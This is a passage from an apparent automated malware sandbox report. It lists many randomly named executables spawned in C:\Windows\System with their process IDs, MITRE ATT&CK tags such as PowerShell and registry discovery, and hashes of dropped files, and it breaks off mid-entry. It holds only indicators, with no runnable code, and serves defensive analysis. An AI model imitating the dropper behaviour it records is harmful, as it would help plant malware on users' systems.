  2⤵
  PID:15364
- C:\Windows\System\FVsehzA.exe
  C:\Windows\System\FVsehzA.exe
  2⤵
  PID:9144
- C:\Windows\System\mHEQYcm.exe
  C:\Windows\System\mHEQYcm.exe
  2⤵
  PID:15320
- C:\Windows\System\wqNFegz.exe
  C:\Windows\System\wqNFegz.exe
  2⤵
  PID:15336
- C:\Windows\System\eWpiidZ.exe
  C:\Windows\System\eWpiidZ.exe
  2⤵
  PID:7992
- C:\Windows\System\EbzljEG.exe
  C:\Windows\System\EbzljEG.exe
  2⤵
  PID:2464
- C:\Windows\System\UeUcMkA.exe
  C:\Windows\System\UeUcMkA.exe
  2⤵
  PID:10580
- C:\Windows\System\kIMLsYD.exe
  C:\Windows\System\kIMLsYD.exe
  2⤵
  PID:6856
- C:\Windows\System\zrdtEbR.exe
  C:\Windows\System\zrdtEbR.exe
  2⤵
  PID:16300
- C:\Windows\System\TtUWxFN.exe
  C:\Windows\System\TtUWxFN.exe
  2⤵
  PID:7540
- C:\Windows\System\jeVeZQr.exe
  C:\Windows\System\jeVeZQr.exe
  2⤵
  PID:10076
- C:\Windows\System\JuxRjnN.exe
  C:\Windows\System\JuxRjnN.exe
  2⤵
  PID:2880
- C:\Windows\System\LlScUtu.exe
  C:\Windows\System\LlScUtu.exe
  2⤵
  PID:10504
- C:\Windows\System\vjbxHvA.exe
  C:\Windows\System\vjbxHvA.exe
  2⤵
  PID:4408
- C:\Windows\System\wKLWMdm.exe
  C:\Windows\System\wKLWMdm.exe
  2⤵
  PID:8296
- C:\Windows\System\JcBcsRF.exe
  C:\Windows\System\JcBcsRF.exe
  2⤵
  PID:15132
- C:\Windows\System\DZfaBbh.exe
  C:\Windows\System\DZfaBbh.exe
  2⤵
  PID:15116
- C:\Windows\System\LiNfXOj.exe
  C:\Windows\System\LiNfXOj.exe
  2⤵
  PID:7300
- C:\Windows\System\yHlyuDz.exe
  C:\Windows\System\yHlyuDz.exe
  2⤵
  PID:6584
- C:\Windows\System\lbKrIrO.exe
  C:\Windows\System\lbKrIrO.exe
  2⤵
  PID:9232
- C:\Windows\System\fodgftG.exe
  C:\Windows\System\fodgftG.exe
  2⤵
  PID:7008
- C:\Windows\System\POpshuE.exe
  C:\Windows\System\POpshuE.exe
  2⤵
  PID:7408
- C:\Windows\System\HBYNrhr.exe
  C:\Windows\System\HBYNrhr.exe
  2⤵
  PID:10828
- C:\Windows\System\FOwfTgj.exe
  C:\Windows\System\FOwfTgj.exe
  2⤵
  PID:7428
- C:\Windows\System\TgNuQJb.exe
  C:\Windows\System\TgNuQJb.exe
  2⤵
  PID:8752
- C:\Windows\System\NzMIdXZ.exe
  C:\Windows\System\NzMIdXZ.exe
  2⤵
  PID:15732
- C:\Windows\System\XBGGKmW.exe
  C:\Windows\System\XBGGKmW.exe
  2⤵
  PID:9908
- C:\Windows\System\MNCPBig.exe
  C:\Windows\System\MNCPBig.exe
  2⤵
  PID:7044
- C:\Windows\System\PoozvoC.exe
  C:\Windows\System\PoozvoC.exe
  2⤵
  PID:7340
- C:\Windows\System\EdEEjMn.exe
  C:\Windows\System\EdEEjMn.exe
  2⤵
  PID:15412
- C:\Windows\System\NpDLIKT.exe
  C:\Windows\System\NpDLIKT.exe
  2⤵
  PID:1496
- C:\Windows\System\asDuCAz.exe
  C:\Windows\System\asDuCAz.exe
  2⤵
  PID:15352
- C:\Windows\System\YqHvaUb.exe
  C:\Windows\System\YqHvaUb.exe
  2⤵
  PID:9516
- C:\Windows\System\GDjbNUK.exe
  C:\Windows\System\GDjbNUK.exe
  2⤵
  PID:9436
- C:\Windows\System\vTODPQj.exe
  C:\Windows\System\vTODPQj.exe
  2⤵
  PID:9728
- C:\Windows\System\MZdfwCg.exe
  C:\Windows\System\MZdfwCg.exe
  2⤵
  PID:15408
- C:\Windows\System\xgTwdHW.exe
  C:\Windows\System\xgTwdHW.exe
  2⤵
  PID:4860
- C:\Windows\System\zwnbxtL.exe
  C:\Windows\System\zwnbxtL.exe
  2⤵
  PID:15252
- C:\Windows\System\RHUYlpH.exe
  C:\Windows\System\RHUYlpH.exe
  2⤵
  PID:9400
- C:\Windows\System\IRBmpad.exe
  C:\Windows\System\IRBmpad.exe
  2⤵
  PID:15228
- C:\Windows\System\OmscpfK.exe
  C:\Windows\System\OmscpfK.exe
  2⤵
  PID:15264
- C:\Windows\System\sgtXFAc.exe
  C:\Windows\System\sgtXFAc.exe
  2⤵
  PID:15676
- C:\Windows\System\JdZvQxM.exe
  C:\Windows\System\JdZvQxM.exe
  2⤵
  PID:12320
- C:\Windows\System\ScIAEYI.exe
  C:\Windows\System\ScIAEYI.exe
  2⤵
  PID:14880
- C:\Windows\System\GAbTZzs.exe
  C:\Windows\System\GAbTZzs.exe
  2⤵
  PID:10700
- C:\Windows\System\vtozXQN.exe
  C:\Windows\System\vtozXQN.exe
  2⤵
  PID:11276
- C:\Windows\System\sLZYxHi.exe
  C:\Windows\System\sLZYxHi.exe
  2⤵
  PID:11788
- C:\Windows\System\BSNvIKy.exe
  C:\Windows\System\BSNvIKy.exe
  2⤵
  PID:8448
- C:\Windows\System\PIjsBnL.exe
  C:\Windows\System\PIjsBnL.exe
  2⤵
  PID:15284
- C:\Windows\System\xycWUgC.exe
  C:\Windows\System\xycWUgC.exe
  2⤵
  PID:5704
- C:\Windows\System\VyzmfpD.exe
  C:\Windows\System\VyzmfpD.exe
  2⤵
  PID:12788
- C:\Windows\System\KFETimB.exe
  C:\Windows\System\KFETimB.exe
  2⤵
  PID:8280
- C:\Windows\System\AxHeGcI.exe
  C:\Windows\System\AxHeGcI.exe
  2⤵
  PID:9240
- C:\Windows\System\wXDToOL.exe
  C:\Windows\System\wXDToOL.exe
  2⤵
  PID:7064
- C:\Windows\System\BnRzRVk.exe
  C:\Windows\System\BnRzRVk.exe
  2⤵
  PID:15136
- C:\Windows\System\rYGFzmz.exe
  C:\Windows\System\rYGFzmz.exe
  2⤵
  PID:3900
- C:\Windows\System\mAhqhRO.exe
  C:\Windows\System\mAhqhRO.exe
  2⤵
  PID:15124
- C:\Windows\System\WjJPYqm.exe
  C:\Windows\System\WjJPYqm.exe
  2⤵
  PID:7580
- C:\Windows\System\jBIBrDa.exe
  C:\Windows\System\jBIBrDa.exe
  2⤵
  PID:14844
- C:\Windows\System\XnmTOAt.exe
  C:\Windows\System\XnmTOAt.exe
  2⤵
  PID:14764
- C:\Windows\System\pdWDjki.exe
  C:\Windows\System\pdWDjki.exe
  2⤵
  PID:6204
- C:\Windows\System\ugQXVDd.exe
  C:\Windows\System\ugQXVDd.exe
  2⤵
  PID:11372
- C:\Windows\System\Rakwale.exe
  C:\Windows\System\Rakwale.exe
  2⤵
  PID:12004
- C:\Windows\System\PfQTgYt.exe
  C:\Windows\System\PfQTgYt.exe
  2⤵
  PID:11296
- C:\Windows\System\uquomhl.exe
  C:\Windows\System\uquomhl.exe
  2⤵
  PID:10768
- C:\Windows\System\cTMfsGN.exe
  C:\Windows\System\cTMfsGN.exe
  2⤵
  PID:12100
- C:\Windows\System\uXuvymB.exe
  C:\Windows\System\uXuvymB.exe
  2⤵
  PID:15268
- C:\Windows\System\mExRPcG.exe
  C:\Windows\System\mExRPcG.exe
  2⤵
  PID:15200
- C:\Windows\System\VnMQrOL.exe
  C:\Windows\System\VnMQrOL.exe
  2⤵
  PID:11764
- C:\Windows\System\ypsUMjk.exe
  C:\Windows\System\ypsUMjk.exe
  2⤵
  PID:9816
- C:\Windows\System\SrnqNNu.exe
  C:\Windows\System\SrnqNNu.exe
  2⤵
  PID:14532
- C:\Windows\System\CRJSyxE.exe
  C:\Windows\System\CRJSyxE.exe
  2⤵
  PID:14392
- C:\Windows\System\UOXmSGX.exe
  C:\Windows\System\UOXmSGX.exe
  2⤵
  PID:14448
- C:\Windows\System\CfIJqLe.exe
  C:\Windows\System\CfIJqLe.exe
  2⤵
  PID:1928
- C:\Windows\System\oUkQZGF.exe
  C:\Windows\System\oUkQZGF.exe
  2⤵
  PID:13156
- C:\Windows\System\CiFxbDR.exe
  C:\Windows\System\CiFxbDR.exe
  2⤵
  PID:6644
- C:\Windows\System\odapEAl.exe
  C:\Windows\System\odapEAl.exe
  2⤵
  PID:11736
- C:\Windows\System\ARYRvTR.exe
  C:\Windows\System\ARYRvTR.exe
  2⤵
  PID:14620
- C:\Windows\System\gmMmCOv.exe
  C:\Windows\System\gmMmCOv.exe
  2⤵
  PID:14600
- C:\Windows\System\uXtxQVm.exe
  C:\Windows\System\uXtxQVm.exe
  2⤵
  PID:9192
- C:\Windows\System\wwNKPoq.exe
  C:\Windows\System\wwNKPoq.exe
  2⤵
  PID:13912
- C:\Windows\System\TfHkDDI.exe
  C:\Windows\System\TfHkDDI.exe
  2⤵
  PID:6196
- C:\Windows\System\eVtjqBs.exe
  C:\Windows\System\eVtjqBs.exe
  2⤵
  PID:15024
- C:\Windows\System\loCYktP.exe
  C:\Windows\System\loCYktP.exe
  2⤵
  PID:15080
- C:\Windows\System\UWAWKsk.exe
  C:\Windows\System\UWAWKsk.exe
  2⤵
  PID:7848
- C:\Windows\System\EvsuCQH.exe
  C:\Windows\System\EvsuCQH.exe
  2⤵
  PID:15076
- C:\Windows\System\BHsLgvr.exe
  C:\Windows\System\BHsLgvr.exe
  2⤵
  PID:15180
- C:\Windows\System\kzUOuWw.exe
  C:\Windows\System\kzUOuWw.exe
  2⤵
  PID:7704
- C:\Windows\System\sIbSHdf.exe
  C:\Windows\System\sIbSHdf.exe
  2⤵
  PID:15096
- C:\Windows\System\HdFnfih.exe
  C:\Windows\System\HdFnfih.exe
  2⤵
  PID:9512
- C:\Windows\System\xDUmIBR.exe
  C:\Windows\System\xDUmIBR.exe
  2⤵
  PID:10308
- C:\Windows\System\AvtieCP.exe
  C:\Windows\System\AvtieCP.exe
  2⤵
  PID:10196
- C:\Windows\System\adaMwCD.exe
  C:\Windows\System\adaMwCD.exe
  2⤵
  PID:7816
- C:\Windows\System\NlWFliF.exe
  C:\Windows\System\NlWFliF.exe
  2⤵
  PID:14412
- C:\Windows\System\AYoifPh.exe
  C:\Windows\System\AYoifPh.exe
  2⤵
  PID:9820
- C:\Windows\System\EvSYSAC.exe
  C:\Windows\System\EvSYSAC.exe
  2⤵
  PID:11324
- C:\Windows\System\JHtFBXQ.exe
  C:\Windows\System\JHtFBXQ.exe
  2⤵
  PID:14920
- C:\Windows\System\tJOwjRg.exe
  C:\Windows\System\tJOwjRg.exe
  2⤵
  PID:2384
- C:\Windows\System\YmhwMfb.exe
  C:\Windows\System\YmhwMfb.exe
  2⤵
  PID:9524
- C:\Windows\System\KMfzLKA.exe
  C:\Windows\System\KMfzLKA.exe
  2⤵
  PID:12808
- C:\Windows\System\qMYBNHG.exe
  C:\Windows\System\qMYBNHG.exe
  2⤵
  PID:9900
- C:\Windows\System\MGxAzdI.exe
  C:\Windows\System\MGxAzdI.exe
  2⤵
  PID:14716
- C:\Windows\System\bgquOdF.exe
  C:\Windows\System\bgquOdF.exe
  2⤵
  PID:8956
- C:\Windows\System\PpJbxXK.exe
  C:\Windows\System\PpJbxXK.exe
  2⤵
  PID:14984
- C:\Windows\System\HfbBYYm.exe
  C:\Windows\System\HfbBYYm.exe
  2⤵
  PID:13064
- C:\Windows\System\CcmLlwT.exe
  C:\Windows\System\CcmLlwT.exe
  2⤵
  PID:11308
- C:\Windows\System\VmDaOwx.exe
  C:\Windows\System\VmDaOwx.exe
  2⤵
  PID:12860
- C:\Windows\System\yknSGPr.exe
  C:\Windows\System\yknSGPr.exe
  2⤵
  PID:14816
- C:\Windows\System\QqOXxwW.exe
  C:\Windows\System\QqOXxwW.exe
  2⤵
  PID:12648
- C:\Windows\System\vKjuWer.exe
  C:\Windows\System\vKjuWer.exe
  2⤵
  PID:8796
- C:\Windows\System\uJHegtE.exe
  C:\Windows\System\uJHegtE.exe
  2⤵
  PID:14724
- C:\Windows\System\MhqjRTc.exe
  C:\Windows\System\MhqjRTc.exe
  2⤵
  PID:11352
- C:\Windows\System\aEXMzmS.exe
  C:\Windows\System\aEXMzmS.exe
  2⤵
  PID:2452
- C:\Windows\System\vWqfhGy.exe
  C:\Windows\System\vWqfhGy.exe
  2⤵
  PID:14788
- C:\Windows\System\YWPmYmJ.exe
  C:\Windows\System\YWPmYmJ.exe
  2⤵
  PID:14568
- C:\Windows\System\dWzhigL.exe
  C:\Windows\System\dWzhigL.exe
  2⤵
  PID:15064
- C:\Windows\System\rgHLRXy.exe
  C:\Windows\System\rgHLRXy.exe
  2⤵
  PID:11732
- C:\Windows\System\qMYiXXh.exe
  C:\Windows\System\qMYiXXh.exe
  2⤵
  PID:400
- C:\Windows\System\YINYmqH.exe
  C:\Windows\System\YINYmqH.exe
  2⤵
  PID:6024
- C:\Windows\System\BohUnbv.exe
  C:\Windows\System\BohUnbv.exe
  2⤵
  PID:8852
- C:\Windows\System\UDgHkGf.exe
  C:\Windows\System\UDgHkGf.exe
  2⤵
  PID:8832
- C:\Windows\System\cozhQTI.exe
  C:\Windows\System\cozhQTI.exe
  2⤵
  PID:13168
- C:\Windows\System\MqnEkJg.exe
  C:\Windows\System\MqnEkJg.exe
  2⤵
  PID:14744
- C:\Windows\System\TPnOYaa.exe
  C:\Windows\System\TPnOYaa.exe
  2⤵
  PID:14648
- C:\Windows\System\kqgzXdr.exe
  C:\Windows\System\kqgzXdr.exe
  2⤵
  PID:14624
- C:\Windows\System\QJlKVJL.exe
  C:\Windows\System\QJlKVJL.exe
  2⤵
  PID:5060
- C:\Windows\System\NCHHgIZ.exe
  C:\Windows\System\NCHHgIZ.exe
  2⤵
  PID:12068
- C:\Windows\System\wthxcXg.exe
  C:\Windows\System\wthxcXg.exe
  2⤵
  PID:12780
- C:\Windows\System\jxBDiDa.exe
  C:\Windows\System\jxBDiDa.exe
  2⤵
  PID:12772
- C:\Windows\System\xaacier.exe
  C:\Windows\System\xaacier.exe
  2⤵
  PID:12936
- C:\Windows\System\eMqEetD.exe
  C:\Windows\System\eMqEetD.exe
  2⤵
  PID:14640
- C:\Windows\System\GYCXOHd.exe
  C:\Windows\System\GYCXOHd.exe
  2⤵
  PID:14948
- C:\Windows\System\ZsxEJip.exe
  C:\Windows\System\ZsxEJip.exe
  2⤵
  PID:12032
- C:\Windows\System\wXoNwYA.exe
  C:\Windows\System\wXoNwYA.exe
  2⤵
  PID:14352
- C:\Windows\System\mEhByLi.exe
  C:\Windows\System\mEhByLi.exe
  2⤵
  PID:12436
- C:\Windows\System\UztKDmQ.exe
  C:\Windows\System\UztKDmQ.exe
  2⤵
  PID:15084
- C:\Windows\System\dMjQMzM.exe
  C:\Windows\System\dMjQMzM.exe
  2⤵
  PID:16012
- C:\Windows\System\ezJLJSK.exe
  C:\Windows\System\ezJLJSK.exe
  2⤵
  PID:9004
- C:\Windows\System\LTkpWRu.exe
  C:\Windows\System\LTkpWRu.exe
  2⤵
  PID:14608
- C:\Windows\System\AmaKMlu.exe
  C:\Windows\System\AmaKMlu.exe
  2⤵
  PID:8976
- C:\Windows\System\XPIUyIE.exe
  C:\Windows\System\XPIUyIE.exe
  2⤵
  PID:12468
- C:\Windows\System\iurvroo.exe
  C:\Windows\System\iurvroo.exe
  2⤵
  PID:13340
- C:\Windows\System\QUBbLQr.exe
  C:\Windows\System\QUBbLQr.exe
  2⤵
  PID:13332
- C:\Windows\System\LPibgGi.exe
  C:\Windows\System\LPibgGi.exe
  2⤵
  PID:12500
- C:\Windows\System\uNkYXxe.exe
  C:\Windows\System\uNkYXxe.exe
  2⤵
  PID:9520
- C:\Windows\System\AQHSsls.exe
  C:\Windows\System\AQHSsls.exe
  2⤵
  PID:15020
- C:\Windows\System\HDhMQnx.exe
  C:\Windows\System\HDhMQnx.exe
  2⤵
  PID:12536
- C:\Windows\System\LgKtVBj.exe
  C:\Windows\System\LgKtVBj.exe
  2⤵
  PID:8552
- C:\Windows\System\ALVjxDK.exe
  C:\Windows\System\ALVjxDK.exe
  2⤵
  PID:11416
- C:\Windows\System\PtQWXKm.exe
  C:\Windows\System\PtQWXKm.exe
  2⤵
  PID:9020
- C:\Windows\System\UxvogBL.exe
  C:\Windows\System\UxvogBL.exe
  2⤵
  PID:12868
- C:\Windows\System\yAFlXod.exe
  C:\Windows\System\yAFlXod.exe
  2⤵
  PID:9628
- C:\Windows\System\fNZLqqt.exe
  C:\Windows\System\fNZLqqt.exe
  2⤵
  PID:5356
- C:\Windows\System\iKWsXUy.exe
  C:\Windows\System\iKWsXUy.exe
  2⤵
  PID:12952
- C:\Windows\System\NKHWNNm.exe
  C:\Windows\System\NKHWNNm.exe
  2⤵
  PID:3316
- C:\Windows\System\mQlgEfW.exe
  C:\Windows\System\mQlgEfW.exe
  2⤵
  PID:13576
- C:\Windows\System\wzwxpJe.exe
  C:\Windows\System\wzwxpJe.exe
  2⤵
  PID:13256
- C:\Windows\System\xUUGXKa.exe
  C:\Windows\System\xUUGXKa.exe
  2⤵
  PID:8712
- C:\Windows\System\xolxjOH.exe
  C:\Windows\System\xolxjOH.exe
  2⤵
  PID:8772
- C:\Windows\System\MkitOjt.exe
  C:\Windows\System\MkitOjt.exe
  2⤵
  PID:12664
- C:\Windows\System\nVvNIZl.exe
  C:\Windows\System\nVvNIZl.exe
  2⤵
  PID:13108
- C:\Windows\System\roqgXSL.exe
  C:\Windows\System\roqgXSL.exe
  2⤵
  PID:14912
- C:\Windows\System\LhuKNKA.exe
  C:\Windows\System\LhuKNKA.exe
  2⤵
  PID:13056
- C:\Windows\System\TeTRZwC.exe
  C:\Windows\System\TeTRZwC.exe
  2⤵
  PID:8384
- C:\Windows\System\AJKJstw.exe
  C:\Windows\System\AJKJstw.exe
  2⤵
  PID:12724
- C:\Windows\System\DjNiuDZ.exe
  C:\Windows\System\DjNiuDZ.exe
  2⤵
  PID:13344
- C:\Windows\System\JSDcHfu.exe
  C:\Windows\System\JSDcHfu.exe
  2⤵
  PID:14720
- C:\Windows\System\bvHSNba.exe
  C:\Windows\System\bvHSNba.exe
  2⤵
  PID:14636
- C:\Windows\System\UdTfoPh.exe
  C:\Windows\System\UdTfoPh.exe
  2⤵
  PID:14248
- C:\Windows\System\NTDlDwW.exe
  C:\Windows\System\NTDlDwW.exe
  2⤵
  PID:13172
- C:\Windows\System\rjpHAaT.exe
  C:\Windows\System\rjpHAaT.exe
  2⤵
  PID:14684
- C:\Windows\System\IojJCfJ.exe
  C:\Windows\System\IojJCfJ.exe
  2⤵
  PID:11408
- C:\Windows\System\eOptVKs.exe
  C:\Windows\System\eOptVKs.exe
  2⤵
  PID:12984
- C:\Windows\System\tXktsIk.exe
  C:\Windows\System\tXktsIk.exe
  2⤵
  PID:12964
- C:\Windows\System\mSQtpCY.exe
  C:\Windows\System\mSQtpCY.exe
  2⤵
  PID:14288
- C:\Windows\System\yIMxdkV.exe
  C:\Windows\System\yIMxdkV.exe
  2⤵
  PID:13932
- C:\Windows\System\lPOIGJw.exe
  C:\Windows\System\lPOIGJw.exe
  2⤵
  PID:13232
- C:\Windows\System\biurqkO.exe
  C:\Windows\System\biurqkO.exe
  2⤵
  PID:8876
- C:\Windows\System\mgDJOtw.exe
  C:\Windows\System\mgDJOtw.exe
  2⤵
  PID:8868
- C:\Windows\System\QLYRtqN.exe
  C:\Windows\System\QLYRtqN.exe
  2⤵
  PID:12444
- C:\Windows\System\giJnyvT.exe
  C:\Windows\System\giJnyvT.exe
  2⤵
  PID:13288
- C:\Windows\System\VyRgFuS.exe
  C:\Windows\System\VyRgFuS.exe
  2⤵
  PID:12376
- C:\Windows\System\KNzjqjw.exe
  C:\Windows\System\KNzjqjw.exe
  2⤵
  PID:12244
- C:\Windows\System\EYOidmS.exe
  C:\Windows\System\EYOidmS.exe
  2⤵
  PID:5548
- C:\Windows\System\aZhUKSl.exe
  C:\Windows\System\aZhUKSl.exe
  2⤵
  PID:12524
- C:\Windows\System\QOKFRLD.exe
  C:\Windows\System\QOKFRLD.exe
  2⤵
  PID:8932
- C:\Windows\System\SOBQgrF.exe
  C:\Windows\System\SOBQgrF.exe
  2⤵
  PID:10372
- C:\Windows\System\kbaatLt.exe
  C:\Windows\System\kbaatLt.exe
  2⤵
  PID:13376
- C:\Windows\System\xbFeMle.exe
  C:\Windows\System\xbFeMle.exe
  2⤵
  PID:8820
- C:\Windows\System\FWmZOfD.exe
  C:\Windows\System\FWmZOfD.exe
  2⤵
  PID:15168
- C:\Windows\System\vaKKexF.exe
  C:\Windows\System\vaKKexF.exe
  2⤵
  PID:11740
- C:\Windows\System\eYYyPkX.exe
  C:\Windows\System\eYYyPkX.exe
  2⤵
  PID:9392
- C:\Windows\System\dbkImWi.exe
  C:\Windows\System\dbkImWi.exe
  2⤵
  PID:10444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vaf2dbww.a0n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\ACOjjdM.exe

Filesize
1.2MB

MD5
a06cd99ad962ea4891e88e312edf162a

SHA1
fa86ca49ca8b98b8172c1ed263bf4bef7d523db8

SHA256
58c1112957c8ed41ae1b11a5efe1b3aea1ea1ece177f8ca546f759ef10be4541

SHA512
0a272bd3ba619f9889e2a39762c4d7d04266c7e06dc75af9b4d904ca26145d0951619067fa582faf49c9fd10950e26521239f22741cf6899777c6903083825dc

Download Submit
C:\Windows\System\AlzgFAN.exe

Filesize
8B

MD5
76860bc6bcf1b962e8a2e2eb292a4bf6

SHA1
eb87db8a1bc4e53a442a3f1452dad31ebf337320

SHA256
0c7d1822ddaeb86897a410445e7015124a04f518d6418bfc26f4a46336cbbf53

SHA512
4a411de28e286563ff5d02d738b10b02f1034fd988f1bef2002f2765356449f6b3486aa93dfc28c44550060a88590f8f6e516156b12db24d65a9d99e449df45a

Download Submit
C:\Windows\System\BBybgMe.exe

Filesize
1.2MB

MD5
70ebd425842219c0d1a4f71809590e40

SHA1
a4ca34f49f7101751eb67bd6895f6c411c358366

SHA256
e34f11e85220a74fd223cc2ae3c29223ad88692be46028678d894b5a8164f1a9

SHA512
b96140fe379281b937bbbd93c6e60add6f92a7bb0be414948b22f9fd98a1b2245ff5033ff742b7727bfa8c56449554537f5c40c88cb13e07ade66bb14c1c30b7

Download Submit
C:\Windows\System\BSbWdTz.exe

Filesize
1.2MB

MD5
0544b5ba86280342b1de8861ac015db0

SHA1
ae6aa7c6d4e99be2a83cda19e90267fa016b7628

SHA256
3e0b1fb8d6f45f0aef252c32dd93204d6cd93a8df258dca4dcfadde1698aaac9

SHA512
34a90c8c8b32715e6a561bea95961c19bc2093a6eb079d1f5df42c9f65f85681dfebe4c4a1af599ffa4c979d6cda3cdcafe509fda08c0e966b4ab8332cae3e60

Download Submit
C:\Windows\System\EokDcnE.exe

Filesize
1.2MB

MD5
652ce0c6ef0a8364f35613072cdb62bb

SHA1
5d4c5d48543c06d1b5505141d84a55d882727f64

SHA256
49950332acef83e3867d05deac0d4662f81f8bbf3a480d7bcc1db4867ff2bda0

SHA512
93cac64b86cf89a713b78972a3bafcc60493d4b059dbc8e79f8253756971000d686187253647b5d4eca05b4ff1e2e18b78e2eea8f779e688588c9e95352235fb

Download Submit
C:\Windows\System\FMlMWDn.exe

Filesize
1.2MB

MD5
f0e802c99b3636117493f6c4d2d3dbc6

SHA1
dbe0ef076d40f075db01a88b3a4a2346bedc0799

SHA256
006eeb531d51a895fa73540a39375df9a7d67e67e3599037c2826ba64f444f93

SHA512
c3d5379975c7138150b795c5cab6943f9a5525d58a5bfe27b0bc25ca4798359c2fe1b7849b54416dc01c026101f3eac9e61a5835dad9457922450fa67bf381a0

Download Submit
C:\Windows\System\HVsWxZs.exe

Filesize
1.2MB

MD5
f0e4bc2c5de2425e4a6311808b682654

SHA1
8890e5aee29df5712f7e1969059cabdc5f6ff609

SHA256
f94b4f3a238140f487ea7e795309f7f85777a73a2ef64c3ef20d2d04cdf07ccf

SHA512
77290bc59cafed65a5bd5de99ff064728fae3d5ce301ff91a3c7981ab08ac2eaae1658eac7eb0f3db4542c026926dd351867fdb2f4930862a218577f5fadb03d

Download Submit
C:\Windows\System\ICOhNxf.exe

Filesize
1.2MB

MD5
1d88abf99a79ad73c16ad18bef666252

SHA1
b351ad22d2349cb9e9b49536a37edba5a3849dd6

SHA256
c9cfe816a673d03e111bd72bbee5f346160932148f5597ed31b4f8828b37db31

SHA512
d102dde8f3d9b1790159bc4758dc77e707234ab29f3243b784510fb7879dcbecd0359eafaa6ddde8daae639fc82cc29fcf24aed39bc6151dc2279d7b35e7bc83

Download Submit
C:\Windows\System\KReTebV.exe

Filesize
1.2MB

MD5
37d3b90c23256ec9c76f0bcf99275376

SHA1
6ef9dd852236cbb40077067278f5204e49c0ac48

SHA256
5222443a9035a26d4c8f10300493040977648fabfc1e08ab20b2115e044be438

SHA512
be4e907f6351957ef80897f704aaddbab26a0eb81bb6fcc8b322579a755696c8fc521bc35854ddfa0bcdf2934293dd4723759c223145ed63d101879224c6280c

Download Submit
C:\Windows\System\KljozrS.exe

Filesize
1.2MB

MD5
364c2c72a90fdc5c793609eb56b3088f

SHA1
367c26891616610eaaec47522fbeb78bdaeed60b

SHA256
a8d54a8b9aed25232348413ff9ff1a2e2de4fab3c3ab2e49054bb45369145e82

SHA512
9454d49fcbf4b562726d1741625d9f90e0608f584dbd8c08ebdeabf87727f4d5361a9ae9efa15483a3135e2ccb33ed6a07bdbffe4d188cf1b09f20967691b28e

Download Submit
C:\Windows\System\LRRxFBM.exe

Filesize
1.2MB

MD5
c0bf3c99da7b25bb0d25ca8afea9f7da

SHA1
b5ed701409d7c6ca6353c0d08907317b1a44abd5

SHA256
1d4c3b38891c4dbfc6a0f16459145256e5ee8cb04fffb60d8a0e40f8b660f5af

SHA512
b6570ac2c33d17ebfa6a5773a7345930f1fac3f2f35ba1520c6a0e65c0f5e1f4c52f99e75804afcca7e9bd47249b2bb626a6c5242903fd448bf8754f8d30ba01

Download Submit
C:\Windows\System\PHYsLNg.exe

Filesize
1.2MB

MD5
6b5d43d1a8d9aa055601a4db897c1d4e

SHA1
cdaa55c447caf4c0ae24ce24ca0f6c61faafc862

SHA256
b5e49fd2b51a948d147b3c70e5f200d3cf22535ea3eaf34757a2c18cb7d06539

SHA512
7c0c178a17fea3ccfe7e13a6a9e3fbe89d42528553d18aa00b1956e5c5cfde21bf47a697b47581b0de1904bb67c6b64a22ebcb96dcdded919ddaa2b685915903

Download Submit
C:\Windows\System\PhdKeuY.exe

Filesize
1.2MB

MD5
b4776eb78ba7a92f420182d1257b84b7

SHA1
c212b7170bc0ceee8f277d88636ca341aaee144a

SHA256
0856dffac0a25a591d907476b8a3aeb0ceca0b3cd575761f632c14b01b81e813

SHA512
f18fb26140d71d87d5e9af81571c47b15136742f60e7fe10b94cb4095df4ae59b2f6b46f8915645c35dbb46d75aa3320db8ad64b9b39214b5b830f317ad02009

Download Submit
C:\Windows\System\PkLhycZ.exe

Filesize
1.2MB

MD5
16aaa59e5ffa79f25a0f0d77b69a2dea

SHA1
69371720c97a1db9754d1e713116522019afd7d5

SHA256
c6f7bcb3c2d7e0aac88f3895463679fcf074cc13cdece747183b4e94ee503430

SHA512
04fce7e4d613564aff1a9f5696673f18f53440a001b4525563ccf87e56f2f78822f526f681e8511aa9ba738f61a4f2db943f831e4ae7b3191752a437d1672552

Download Submit
C:\Windows\System\QpquoDd.exe

Filesize
1.2MB

MD5
80826e4328b8c67f29659f711883f6de

SHA1
44a751bc731d87c22d7a1d8ce739692b8bd4123f

SHA256
0fb75098e8ec3983b5bf0d5c45df8f6091625531206ffe59ff1e0a97729a598f

SHA512
be0c78d448feffbcd793f54136ea4f4dccb0b449ddd33497d15f2e86dc4ae91b6038b61fc8eddcd3212764f324e55585b4be9f29a5e5e5ae4ddde420635a80ea

Download Submit
C:\Windows\System\RzkgCpj.exe

Filesize
1.2MB

MD5
4b5004bccdc03d5f11a7a4bf55eabaee

SHA1
c950c8902beadafed82d815ffea05de0afe7076f

SHA256
9f83cd93833a59b4a64f5741027766f50bbe45fc4e2cd8db046c5b34ed4e58c9

SHA512
992ecf2453ff2788b09897c601765e635630b593d314d96439bc5433f14ef68844cd9c9c34ad65b809f5fc9e6188964d772595f557721b71cc1b1d12e8b01a3a

Download Submit
C:\Windows\System\SHePavH.exe

Filesize
1.2MB

MD5
83a6d53a6b4444cb5465aa26c3f1a30c

SHA1
fd6dce688c5d6358c846cca4fcf815a3b24fea46

SHA256
772604ce054956c6abad6ef7e4a30555e76f5eef5b207e36362cd09b14fe2326

SHA512
67570712e69d62993899a323a05653d40ebc057b90ff996499ac79f3dcf6936884826a218b20d68a3ccce1b53dad5781f0530edbd7b0f22c9b7e285430b70c74

Download Submit
C:\Windows\System\THZYBNx.exe

Filesize
1.2MB

MD5
75269fcf6c6b0eb9116b4cc55745faa8

SHA1
6ffd4f2237fff61bb511809eb0791156ba6814b6

SHA256
3ee7bbf3dea3ca1f39ee44bdcb60f204a558364746d20a48f61187526563fb08

SHA512
